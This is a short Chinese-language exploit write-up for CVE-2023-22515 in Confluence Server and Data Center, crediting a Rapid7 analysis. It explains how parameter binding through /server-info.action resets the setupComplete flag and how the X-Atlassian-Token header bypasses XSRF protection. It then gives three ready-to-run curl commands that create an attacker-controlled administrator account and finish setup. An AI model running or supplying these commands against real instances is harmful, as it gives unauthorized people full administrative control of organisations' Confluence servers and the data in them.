CVE-2023-22515，一个影响Confluence Server和Confluence Data Center本地实例的严重漏洞，属于访问控制缺陷漏洞。Attlassian给出的CVSS基础评分为10.0。
1- 由于Xwork拦截器解析参数的方式，/test.action?one=a 等同于 setOne()='a'；而 /test.action?one.two=a 等同于 getOne().setTwo()="a"
2- /setup/*端点包含一个@ParameterSafe调用，允许我们使用类似/setup/setupdb.action?dbConfigInfo.databaseType=postgresql的set和get方法，但由于设置已完成，/setup/*端点被阻止，因此可以使用/server-info.action
3- 找到用于完成设置的set方法 => getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);
4- 使用X-Atlassian-Token头部绕过XSRF
curl http://localhost/server-info.action\?bootstrapStatusProvider.applicationConfig.setupComplete\=false\;
curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&[email protected]&password=leet&confirm=leet&setup-next-button=Next" http://localhost/setup/setupadministrator.action\;
curl -X POST -H "X-Atlassian-Token: no-check" http://localhost/setup/finishsetup.action
**免责声明：**该利用方法并非由本人发现或编写，功劳归于以下文章
https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis